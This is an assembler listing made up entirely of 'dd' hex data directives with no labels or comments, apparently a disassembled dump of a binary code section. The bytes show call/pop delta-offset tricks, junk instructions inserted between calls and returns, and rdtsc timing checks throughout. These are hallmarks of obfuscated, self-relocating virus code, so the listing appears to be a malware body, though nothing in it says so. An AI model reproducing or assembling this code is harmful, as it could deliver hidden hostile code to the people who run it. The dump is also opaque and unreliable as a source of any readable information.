		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 33C35545h
		dd 5EE37C57h, 2E53E41Fh, 5810Fh, 49BE0000h, 0F2653B6h
		dd 884h, 8D895300h, 60B1169h, 6AC32B5Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B64AC353h
		dd 89D5F1F6h, 0B011D95h, 8343D06h, 860F0000h, 0Eh, 0E9F7BF0Fh
		dd 2Fh,	0B39BD8Bh, 0C08B060Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 51C35343h, 0F7CAB5DAh, 0FD7E3D0Fh
		dd 8BF88B02h, 6AD88BC3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 9E37C357h, 0E9603A62h
		dd 13h,	32ECD508h, 3EAC1283h, 0A227D7E6h, 182295D1h, 0F911B7Fh
		dd 689h, 21BD3300h, 61060B22h, 242185C7h, 9FB7060Bh, 895757F5h
		dd 0B290595h, 89605F06h, 0B28EDBDh, 0C08B6106h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 71C35646h, 1F980B4h
		dd 0B28A58Dh, 12E906h, 490A0000h, 0B5179A90h, 6390A885h
		dd 69BEF85Ch, 6FF06E70h, 3385BD81h, 7D0060Bh, 850F0000h
		dd 38h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh
		dd 0C35040h, 7E228B95h,	6614FF74h, 85FFF18Bh, 60B3385h
		dd 0F4D8EE81h, 958926D6h, 60B2749h, 3385B5FFh, 6A060Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0E7BC93C3h, 45750647h, 2DB58B0Fh, 0FF060B13h, 0B32DD95h
		dd 0EC78106h, 900D7704h, 0C98D8940h, 81060B2Ah,	413AFD7h
		dd 6DBD8352h, 60B1Bh, 0CD840Fh,	0BE90000h, 0DC000000h
		dd 98A1E04Fh, 661CD9E6h, 0BD839067h, 60B1611h, 0B0840F00h
		dd 89000000h, 0B0B1D95h, 6D95FF06h, 0B060B1Bh, 9C840FC0h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0E21CC356h, 0D098D29h,	8D8D060Bh
		dd 60B4DD7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0BEC35545h, 54F75995h, 5B8h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0D3E94186h
		dd 0EA2512D2h, 69C7BF66h, 6AE1FFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0D5191AC3h, 819589C3h
		dd 83060B06h, 0B0EE5BDh, 840F0006h, 67Ch, 1611BD83h, 0F00060Bh
		dd 66F84h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 536BE0B9h, 0D9958952h, 5F060B2Ah
		dd 9D9589h, 8D8D060Bh, 60B0245h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0DBC35545h,	8401C7EBh, 6A44B27Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 5A6C350h,	0D6691C6Ah, 0FA881487h,	0CFCB0181h
		dd 6A1499h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 64323FC3h, 9E8h, 93804E00h, 57B7B163h, 0B5897EF0h
		dd 60B0919h, 441C75Fh, 0CE706B34h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0CEC35242h,	99729561h, 8B66A0AFh
		dd 44181FEh, 31D6D710h,	9D89006Ah, 60B16B5h, 245858Dh
		dd 8509060Bh, 60B0AB9h,	12E851h, 0F7C10000h, 0C75CA0CCh
		dd 55A870D3h, 0A2DE9EFBh, 2F8365E2h, 1879B501h,	5E5E060Bh
		dd 0BCB66090h, 505B5660h, 5A310F52h, 50616158h,	310F5250h
		dd 0F249BE66h, 8990585Ah, 0B00C195h, 0E595FF06h, 6A060B0Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0C85FC357h, 604103F6h, 14E9h, 5B051100h
		dd 12E538ECh, 0D36FAA2Eh, 5214C158h, 72D56E0Fh,	2800FD9h
		dd 0B4000000h, 8D8D6138h, 60B0245h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 19C35747h, 0E850BB1Bh, 5, 0D425C6Dh
		dd 0DE941h, 1D310000h, 2DBE5474h, 168B59B1h, 5F11B58Bh
		dd 0C7FE8B5Eh, 1, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0C874119Ch, 8D895775h
		dd 60B0E9Dh, 0C7FFBF0Fh, 441h, 0CE90000h, 0D3000000h, 594E5F00h
		dd 0C224027Ah, 0B18DDD3h, 79840FC0h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 50F2C356h, 0BD8B575Fh, 60B20E1h, 0D78D8D5Fh,	6A060B4Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 154BC357h, 82CBA693h, 0B8A0F0D9h,	5, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 82C35040h, 0E1FF91C2h
		dd 155BBF66h, 2458D8Dh,	6A060Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 70009EC3h, 8F3B4A3Fh
		dd 661C0BEEh, 38E8DF81h, 6800F51h, 8B000000h, 0B2179BDh
		dd 1C75E06h, 44AA727Ch,	0DADBD03h, 181060Bh, 1499CFCBh
		dd 0AAA9BE66h, 3C0441C7h, 81CE7875h, 2D2BADEh, 25B58B71h
		dd 81060B04h, 0D7100441h, 6A31D6h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 6A4EAEC3h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0D500A5Ah, 52F9BF0Fh, 18D19D89h, 8D5F060Bh, 0B024585h
		dd 31B58B06h, 90060B2Ah, 12E850h, 45C40000h, 0DA5571F8h
		dd 57DB0771h, 6066CF34h, 0EDB9244Fh, 0EE32D3BEh, 6A905F15h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 2DC2C351h, 5CCE6B4Dh, 896F24F5h, 0B0BA195h
		dd 1681BE06h, 95FF1B56h, 60B0EE5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 52C35141h, 0F8F2656Bh, 23619444h
		dd 8E9h, 3250500h, 0D975C2BEh, 458D8DC1h, 0BE060B02h, 54BAC0Bh
		dd 1BB99D89h, 1C7060Bh,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 99C35545h
		dd 0CF7BE250h, 0D7522CC7h, 9E9F3h, 33980000h, 74A0B4D1h
		dd 0C7443BC9h, 441h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0D52A95C3h, 7BE5B396h
		dd 0BD8BFCD8h, 60B1169h, 0E79B58Bh, 0C00B060Bh,	71840Fh
		dd 0BF660000h, 81660EB2h, 8D349EF6h, 0B4DD78Dh,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0D0EC93DBh, 0B6C6106Eh, 816694DAh, 606837DEh, 3D23BF66h
		dd 9519589h, 0B861060Bh, 5, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0E3C35545h, 3F3EA3Dh,	0B2029BDh, 8DE1FF06h
		dd 0B02458Dh, 68C0F06h,	89000000h, 0B00A58Dh, 0A501C706h
		dd 6654CA95h, 181F08Bh,	1499CFCBh, 0B850Fh, 6E90000h, 76000000h
		dd 0AD9A86F4h, 89B58B07h, 0C7060B0Eh, 59690441h, 0B529CE5Fh
		dd 60B2EE1h, 10044181h,	6A31D6D7h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E544C353h
		dd 5CF0E5A6h, 6AF581F7h, 8F0F00h, 8D000000h, 0B024585h
		dd 99BD8B06h, 0E9060B0Fh, 11h, 0D3CA4994h, 0E953F505h
		dd 3895878Dh, 2F3FFB14h, 4895079h, 0F9B70F24h, 0EE595FFh
		dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 9AE530C3h, 977946CAh, 891507DBh, 0B02098Dh
		dd 3ACE8106h, 8D48B8D1h, 0B02458Dh, 89C78106h, 0C73ACB6Ah
		dd 1, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0F87AEFC4h, 109B9ABCh, 9529F960h
		dd 60B12CDh, 441C761h, 0
		dd 1CDBD8Bh, 0BF0F060Bh, 0FC00BF9h, 6B84h, 8DF28B00h, 0B4DD78Dh
		dd 2DB52906h, 0B8060B02h, 5, 19B9B52Bh,	13BE060Bh, 0FF33F588h
		dd 56006AE1h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0AE8F7h,	0C6E70000h, 73C3FA63h, 4FC9308Bh
		dd 14E9h, 34913A00h, 0E7A637D1h, 0AD866181h, 78A1C07Bh
		dd 0FBF786DBh, 9D895EF0h, 60B1369h, 1BE9CA03h, 89FFFFF2h
		dd 0B17C585h, 0EBEE8106h, 8B7A2212h, 53006AC1h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 880FE285h
		dd 6, 1F9DBD89h, 4EB060Bh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 67C35646h
		dd 799AEA8Ah, 0F92DB6B3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0D5C35747h, 741AB4C3h, 3FACA97Bh, 0AE956h
		dd 8FFF0000h, 74FD90E2h, 613F2D74h, 28A9858Dh, 9E9060Bh
		dd 8C000000h, 6B08D4F4h, 0A41BC4FBh, 830F90h, 50000000h
		dd 5E9h, 2C82E400h, 6A909CFFh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 4339C353h, 0E807F84Bh
		dd 0FE8h, 0DD251700h, 0E12A390Ah, 2363E52Bh, 4B3686E8h
		dd 0DD68166h, 6A5E54h, 3155B58Bh, 6A060Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0C6C35747h, 29C68133h
		dd 8D07C58Ch, 0ED6FF85h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0FFF5C78h, 0BD89F0B7h
		dd 60B1F65h, 21511EBEh,	5C08324h, 2A19D89h, 0E850060Bh
		dd 0Bh,	5B1DAE6Eh, 0ED597BC4h, 66903A1Ch, 5E8A7BBEh, 6A240489h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 51DF6B3Ch, 7F7AD49Eh, 25B5890Dh,	6A060B2Bh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8B0C2F4Ch, 0B0B6DB5h, 219CBE06h,	95FF1C4Ch
		dd 60B2F21h, 0C11F06BEh, 0B09D8D76h, 6A060EA7h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 6639C356h, 7955CE81h, 6AD3FFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 85FF43C3h, 60B066Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0A7C35747h
		dd 14E94F02h, 90000000h, 4B567200h, 0EDE4E18Dh,	431E84B9h
		dd 0C7080046h, 0E9DD8D0Fh, 0A48h, 0E8h,	0ED815D00h, 60ED709h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 18C35545h
		dd 0E7053599h, 0BD81E276h, 60B3385h, 7D0h, 13D860Fh, 95290000h
		dd 60B28E5h, 1A9D9D8Bh,	6A060Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 8D46E6C3h, 70D8532Eh
		dd 8B81CA67h, 0E381F0h,	66000001h, 0B2831BEh, 0B5850FDBh
		dd 8B000000h, 0B240DB5h, 0DCBD8306h, 60ED4h, 53840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 87B9AEC3h, 0ABE9F701h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 291C352h
		dd 7665A709h, 0BDBD2990h, 29060B16h, 0B05AD9Dh,	0DC85C706h
		dd 1060ED4h, 0E9000000h, 6Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0FFC35545h,	0C283321h, 0E8813C2Eh
		dd 14E95164h, 0D9000000h, 135B02FBh, 82B24F5Eh,	1755CCFAh
		dd 0ED2EBF16h, 5EB3012Bh, 0D4DC85C7h, 60Eh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 9058CCC3h, 0A48FBEF3h, 9D8D5441h, 60B1A9Dh, 0BCE68166h
		dd 0FF23815Fh, 66FFFFFEh, 6637EEBEh, 6ADB8Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 39173EC3h
		dd 606223FDh, 1FFD9D01h, 0BF66060Bh, 66616DE9h,	0AB36DE81h
		dd 0F04C3F6h, 9084h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0B92D3A9h, 0F38B6680h
		dd 0FFF6B70Fh, 0B18ED95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 8CF5D4DFh
		dd 958F48B7h, 11BD89F0h, 60060B05h, 31F99D89h, 9061060Bh
		dd 50F08B66h, 5E9h, 74B40500h, 6A9049EDh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0A43FC356h
		dd 0FD62118h, 411E922h,	0BF0F0000h, 6A00B0F1h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 97DAC352h, 89F2BF0Fh, 0B31D1B5h, 0CCBE6606h,	6A70E6E5h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 5E99C356h, 0D7B95EF5h, 0BE66B300h, 71E448C9h
		dd 6AD8B60Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0E91BC357h, 13h, 833E133Bh, 0A72742BEh
		dd 387302A3h, 0F2656B52h, 0BA9444F8h, 6, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 81C35141h, 0D1122646h
		dd 0A1DCF065h, 851BD31h, 8BF8060Bh, 53006AC3h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0A5F4AB8Ch
		dd 0B577474Eh, 8E85C65h, 4D000000h, 676EF121h, 0FE39028h
		dd 8B5EF3BFh, 0B1F35B5h, 4E8C106h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 2DC35343h, 8B605D9Bh, 0B31D195h
		dd 6830F06h, 8B000000h,	0B14E5BDh, 0F7666106h, 56006AE2h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 12B2BF0Ah, 517968C5h, 0E952EA50h, 0Ah, 0EF7E9FC1h, 8630A294h
		dd 2B5E91CEh, 0CE8166D8h, 60508F71h, 8194F0BAh,	1C89616Eh
		dd 0F2BF0F24h, 3385B5FFh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 9ADFCC3h, 992E7378h
		dd 2ED58589h, 95FF060Bh, 60B32DDh, 0AC1950BEh, 6600B061h
		dd 70E6F28Bh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	20C35040h, 613C71E4h, 229830Fh,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 9F8757C3h, 0B60FF8A4h, 6BAD8h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 22A919C3h
		dd 0B3F3DDA4h, 23F68166h, 0F8C38BF4h, 6A04E8C1h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 9BE6C353h, 8B6ADB9Ch, 0E2F766F1h, 29B5B58Bh,	0D82B060Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1FC35545h
		dd 5E176D8Dh, 0ADB5332Bh, 58060B01h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 83C35646h, 0B95B6032h, 0B58930AAh
		dd 60B2349h, 880FD82Bh,	14Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 8EC35040h, 0BEA6BB04h, 1D990EA1h
		dd 7B9h, 26D68100h, 8B432C74h, 0B2AB5B5h, 0C18306h, 23D68166h
		dd 0FD93BB1h, 10A86h, 14E900h, 0D3DA0000h, 35CD9C95h, 625C6D1h
		dd 8559637Bh, 1AA72804h, 8C660B65h, 0C1F6F5D9h,	0E1840F04h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 7EE4C351h, 8B6D84C6h, 0B0241B5h
		dd 0ED95FF06h, 0E9060B18h, 0Ch,	49C9222Ch, 0C01C33D5h
		dd 9159938h, 53006A5Bh,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 6A0612CDh, 0B58B619Fh
		dd 60B2E31h, 6AC32Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0A18127C3h, 127DB533h, 343D060Bh
		dd 0F000008h, 4B86h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 3EBC7C42h, 14E9E9F6h
		dd 40000000h, 0A1BE8043h, 0C0CB2C0Eh, 0B129F951h, 6D69C59Dh
		dd 146807Bh, 0B33A585h,	9E906h,	0B5330000h, 60B2729h, 8BF8C08Bh
		dd 0E9D88BC3h, 0Ah, 0BA7BCFFFh,	20FD2453h, 85C79A15h, 60B0869h
		dd 5F268317h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 16h,	4CC35242h, 0B5231653h, 60B0769h, 6AC08Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0A15833C3h, 85BD8160h, 0D0060B33h, 0F000007h, 2F85h
		dd 0A9B58B00h, 0FF060B0Fh, 0B338585h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 85891F07h, 60B2155h,	3385B5FFh, 6A060Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 5804B5C3h
		dd 0D5ACBE66h, 32DD95FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0F8B63CC3h, 66D88B90h
		dd 46C3EE81h, 2715BD83h, 0F00060Bh, 3C84h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 11E9A0CCh, 9F000000h, 0C88E2773h, 8CF5D4DFh,	958F48B7h
		dd 2C52CF0h, 280E9h, 48BE6600h,	6ADF8C3Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 188AC357h
		dd 46FC4B57h, 0F68162CBh, 345E6B60h, 66F28B66h,	4C7F7h
		dd 243850Fh, 11E90000h,	6F000000h, 0C5525A85h, 764AD0A8h
		dd 5D145A4Fh, 3C6A2592h, 9D8DFF2Bh, 60EE0CCh, 8950F28Bh
		dd 8589241Ch, 60B1EB1h,	35FF64h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0CF33C356h
		dd 345D2E6Fh, 89BDB0FDh, 0B187185h, 8964F806h, 25h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0EEC9817Fh, 4714745Dh, 6AC48B6Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0EB64C352h
		dd 30DC495h, 8D0F5C66h,	2, 0F08BF18Bh, 0EB01CDh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 65C35747h, 4896682Ch
		dd 9F5C3A4h, 0B339185h,	52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 3FF8133Dh, 5818C582h
		dd 5860F4Ch, 0BE000000h, 64490F84h, 58F64h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0BAFAC357h, 0F78B663Ch, 698D89h, 0C483060Bh
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0E92FF445h, 12h,	49F03831h, 9608F93Eh, 79917928h
		dd 82975AB8h, 0C00B7FADh, 0C3840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 570F31C3h
		dd 2C9B58Bh, 0BD8D060Bh, 60B4DD7h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 6BC35040h, 0CA567320h, 0F78B662Ah
		dd 5B8h, 0F6BF0F00h, 0E9F9E7FFh, 14h, 0B1487981h, 88F2D5EEh
		dd 0BD4DF798h, 53BDD876h, 27EEB391h, 245C8B57h,	0B8838B10h
		dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h
		dd 335F0200h, 6AC3C0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 5DC38CC3h, 0A6A32B77h, 41B58B5Bh
		dd 89060B12h, 0B0F59BDh, 0E9CA2B06h, 0FFFFF5E0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F4C35646h, 20F1B58Bh
		dd 0B58B060Bh, 60B2945h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 8A82A2C3h, 4EBh, 0BD8B0000h
		dd 60B1B69h, 33499589h,	6A060Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0E1E1C0C3h, 59D71B0h
		dd 5640BD5Fh, 858D5FF5h, 60B28A9h, 2488D681h, 0E9906AECh
		dd 5, 733075A3h, 5E850E6h, 51000000h, 22A90B9h,	8C0Fh
		dd 905E0000h, 0AE8h, 0E5AC900h,	0FF44F157h, 5F6BD8A4h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0A36491C3h, 0B8AE2369h, 0C1264BBEh, 0F006A54h
		dd 0E8Ch, 9E900h, 0BD4C0000h, 0DDBCF13Fh, 8DF875DBh, 0EE36B85h
		dd 19BD8906h, 0E8060B19h, 0Ch, 2241F1CAh, 1F9F280Ch, 3CBD633Fh
		dd 10E9h, 3644E200h, 0C4A54AE9h, 683D291Dh, 1EAFB41h, 0C0835F7Ch
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0F2F8C8Dh, 388h,	0FE8B6600h, 0F08B6690h
		dd 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 3154EDC3h, 11E811h, 0D5E60000h, 95D43F3Ah
		dd 0F09F7377h, 0C29D5CB6h, 0BF294BD2h, 743C73EBh, 0D9B5895Eh
		dd 6A060B2Ah, 0BE900h, 59570000h, 39FAD101h, 8F680B3Ah
		dd 66006AB5h, 95FFFB8Bh, 60B2F21h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 85C35545h, 812BAAC2h, 0BE9EA1C7h
		dd 0B09D8D15h, 0E9060EA7h, 11h,	0A8BDB7E7h, 43FAE3B8h
		dd 6E1DD302h, 0C4D450BBh, 6AD3FF62h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 38E7C353h
		dd 66D85FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0DF7A34C3h, 3365B58Bh, 0E9FC060Bh
		dd 86Ch, 0E8h, 0ED815D00h, 60EE375h, 9E190BBFh,	85BD817Bh
		dd 0D0060B33h, 0F000007h, 16A86h, 51BD0900h, 8B060B05h
		dd 0B29859Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 6BAB2107h, 8B66377Ch, 0E381F8h, 0E9000001h
		dd 0Ah,	907BDD9Ch, 0BD48D5FCh, 0DB0B1CC3h, 0C3850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 833250C3h, 0EE16EBDh, 840F0006h, 2Dh, 0BDE9F88Bh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0D34BC351h, 8B1D5B34h, 0B30EDBDh,	6E85C706h
		dd 1060EE1h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0ADF6C351h,	66F96E6Bh
		dd 5682C781h, 63E9h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 6CEF46A8h, 2A1658A2h
		dd 8B607468h, 0B15159Dh, 8F0F06h, 61000000h, 20EF8166h
		dd 6E85C7C2h, 60EE1h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0A202C353h,	0F3BF0F1Eh
		dd 29859D8Dh, 6A060Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 81FCDFC3h, 0FFFEFF23h
		dd 0DDBD8BFFh, 66060B15h, 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0BFDA23C3h, 68685E42h
		dd 6068EFC2h, 20CD8509h, 880F060Bh, 2, 0F6615B53h, 840F04C3h
		dd 0ABh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0D8C35141h, 8D970B57h, 95FF7A75h, 60B18EDh, 6E8h
		dd 0A3713E00h, 0F5F757E4h, 0EE8905Eh, 1B000000h, 66194D1Bh
		dd 3546DE1Ah, 16506D9Ch, 5E8F2h, 352C0000h, 50319F3Ah
		dd 5A310F52h, 505F5F58h, 52505250h, 310F6160h, 0DE9h, 0A17D0900h
		dd 321F7C13h, 70799984h, 585ADCDEh, 77BE310Fh, 5A03FC64h
		dd 6A9058h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0B4FE04C3h, 462A6C97h, 0E1BD31D9h, 0E9060B0Fh
		dd 3A1h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 18h,	34C35141h, 519F9A88h, 0B523FA8Bh, 60B2DE5h, 6A00B0h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 923343C3h, 891242ABh, 0B06F9BDh, 8170E606h, 3251A7F6h
		dd 0FDD68144h, 0E420357Dh, 0F8B70F71h, 29D8B60Fh, 0B079185h
		dd 6BA06h, 0FC600000h, 881858Bh, 8B61060Bh, 4E8C1C3h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B2C35141h, 0C2A5C05Fh
		dd 5E8E78Ah, 23000000h,	0E7EF8767h, 8C0F5FF5h, 3, 66FA8B66h
		dd 0B509E2F7h, 60B283Dh, 6AD82Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 7D596BC3h, 800F12F1h
		dd 0
		dd 241C8950h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Bh,	0ABC35141h, 4757347Fh, 8BD1A9B6h, 0B02F9BDh, 85B5FF06h
		dd 6A060B33h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 8BB2C350h, 0A4349E31h,	5D95893Fh
		dd 0FF060B0Ch, 0B32DD95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0ABC89AB3h
		dd 816600B0h, 314249D6h, 0B0609B5h, 0E470E606h,	0F613C71h
		dd 22083h, 880F5700h, 0
		dd 0D8B60F5Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	1CC35545h, 1645BD8Bh, 6BA060Bh,	0E9000000h, 0Dh
